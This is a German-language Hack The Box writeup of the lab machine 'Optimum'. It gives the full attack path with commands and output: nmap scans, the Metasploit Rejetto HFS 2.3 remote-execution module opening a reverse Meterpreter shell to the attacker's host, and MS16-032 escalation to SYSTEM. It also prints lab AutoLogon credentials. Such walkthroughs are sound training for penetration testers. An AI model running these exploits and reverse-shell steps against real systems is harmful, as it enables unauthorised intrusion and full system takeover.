← Zurück zu Machines

HTB · published

Optimum

Hack The Box CPTS-Roadmap Writeup für Optimum: Rejetto HFS 2.3 RCE, Meterpreter als kostas und MS16-032 Privilege Escalation zu SYSTEM.

HTBRoadmap CPTSWriteupWindowsHFSMS16-032Machine

Metadaten

  • Name: Optimum
  • IP Address: 10.129.161.252
  • Plattform: Windows
  • Kategorie: Web / Known Exploit / Local Privilege Escalation
  • Schwierigkeit: Easy
  • Ziel(e): User, Root / SYSTEM
  • Kurzbeschreibung: Optimum ist eine Beginner-Windows-Maschine, die stark auf Enumeration bekannter verwundbarer Services fokussiert ist. Auf Port 80 läuft Rejetto HttpFileServer 2.3, wofür ein zuverlässiger Remote-Command-Execution-Exploit existiert. Der initiale Zugriff erfolgt als kostas; anschließend führt MS16-032 zu NT AUTHORITY\SYSTEM.

Reconnaissance / Enumeration

Der initiale Full-Port-Scan zeigte nur einen offenen Port:

nmap -p- --min-rate 10000 -T4 -v -n -oN 10.129.161.252-initial.nmap 10.129.161.252
PORT   STATE SERVICE
80/tcp open  http

Damit war der Webserver der klare Einstiegspunkt.

Service Scan

Der Service-Scan identifizierte den HTTP-Dienst als Rejetto HttpFileServer:

nmap -sV -sC -T4 -v -n -p 80 -oN 10.129.161.252-services.nmap 10.129.161.252
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
| http-methods:
|_  Supported Methods: GET HEAD POST
Service Info: OS: Windows

Wichtige Erkenntnis:

HttpFileServer httpd 2.3

Diese Version ist für Remote Command Execution bekannt.

Exploitation: Rejetto HFS RCE

In Metasploit wurde nach einem passenden HFS-Modul gesucht:

msf > search httpfileserver

Treffer:

exploit/windows/http/rejetto_hfs_exec
Rejetto HttpFileServer Remote Command Execution

Das Modul wurde für eine Reverse-Meterpreter-Session verwendet:

msf exploit(windows/http/rejetto_hfs_exec) > run

Erfolgreiche Ausführung:

[*] Started reverse TCP handler on 10.10.14.118:4444
[*] Using URL: http://10.10.14.118:8080/MeMaOp0S8
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /MeMaOp0S8
[*] Sending stage (188998 bytes) to 10.129.161.252
[*] Meterpreter session 1 opened (10.10.14.118:4444 -> 10.129.161.252:49162)

Der initiale Kontext war der Benutzer kostas:

meterpreter > getuid
Server username: OPTIMUM\kostas

User Flag

Die User-Flag lag auf dem Desktop von kostas:

type C:\Users\kostas\Desktop\user.txt
7d1be[REDACTED-USER-FLAG]6171

System Enumeration

Die Meterpreter-Systeminformationen zeigten Windows Server 2012 R2:

meterpreter > sysinfo
Computer        : OPTIMUM
OS              : Windows Server 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 2
Meterpreter     : x86/windows

Wichtiger Punkt:

OS: x64
Meterpreter: x86/windows

Das wurde später bei der lokalen Privilege Escalation relevant.

Privilege Escalation Enumeration

Mit dem Metasploit local_exploit_suggester wurde nach lokalen Exploit-Möglichkeiten gesucht:

use post/multi/recon/local_exploit_suggester
set session 3
run

Ergebnisse:

[+] exploit/windows/local/bypassuac_comhijack: Vulnerable
[+] exploit/windows/local/bypassuac_eventvwr: Vulnerable
[+] exploit/windows/local/bypassuac_sluihijack: Vulnerable
[+] exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move: Possibly Vulnerable
[+] exploit/windows/local/ms16_032_secondary_logon_handle_privesc: Vulnerable
[+] exploit/windows/local/tokenmagic: Vulnerable

Der zuverlässigste Weg war:

exploit/windows/local/ms16_032_secondary_logon_handle_privesc

Zusätzlich fand WinPEAS AutoLogon-Credentials:

DefaultUserName : kostas
DefaultPassword : kdeEjDowkS*

Diese Credentials können für manche UAC-Bypass-Methoden hilfreich sein, waren für MS16-032 aber nicht nötig.

Privilege Escalation: MS16-032

Das MS16-032-Modul wurde mit der bestehenden Meterpreter-Session ausgeführt:

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION <id>
run

Während der Ausführung erkannte das Modul die 32-bit/64-bit-Situation:

[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell

Erfolgreiche Ausführung:

[*] Started reverse TCP handler on 10.10.14.118:4444
[+] Compressed size: 1160
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\YLDFzRtwSekn.ps1...
[*] Executing exploit script...
[+] Executed on target machine.
[*] Sending stage (188998 bytes) to 10.129.204.34
[*] Meterpreter session 4 opened (10.10.14.118:4444 -> 10.129.204.34:49179)
[+] Deleted C:\Users\kostas\AppData\Local\Temp\YLDFzRtwSekn.ps1

Die neue Session lief als SYSTEM:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Root Flag

Mit SYSTEM-Rechten konnte die Root-Flag gelesen werden:

type C:\Users\administrator\desktop\root.txt
cbf93[REDACTED-ROOT-FLAG]6469

Post-Exploitation

  • Foothold: Rejetto HFS 2.3 RCE über rejetto_hfs_exec.
  • User: Zugriff als OPTIMUM\kostas.
  • User-Flag: C:\Users\kostas\Desktop\user.txt.
  • Privilege Escalation: MS16-032 Secondary Logon Handle Privilege Escalation.
  • Root / SYSTEM: Neue Meterpreter-Session als NT AUTHORITY\SYSTEM.
  • Root-Flag: C:\Users\administrator\desktop\root.txt.

Lessons Learned

  • Ein offener Port reicht: Wenn nur HTTP offen ist, muss die Service-Version besonders genau geprüft werden.
  • Bekannte Software-Versionen sind Gold: HttpFileServer 2.3 führte direkt zum passenden Exploit.
  • Architektur beachten: x86-Meterpreter auf x64-Windows kann lokale Exploits beeinflussen.
  • Exploit Suggester ist ein guter Startpunkt: Die Ergebnisse müssen trotzdem bewertet werden; MS16-032 war hier der zuverlässigste Weg.
  • AutoLogon-Credentials merken: Auch wenn sie hier nicht nötig waren, sind solche Funde oft wertvoll für Alternativwege.

Notizen

Optimum ist eine gute CPTS-Roadmap-Maschine für den Ablauf: Service-Version erkennen, bekannten Exploit validieren, Systeminformationen sammeln, lokale Privilege Escalation gezielt auswählen und SYSTEM-Zugriff bestätigen.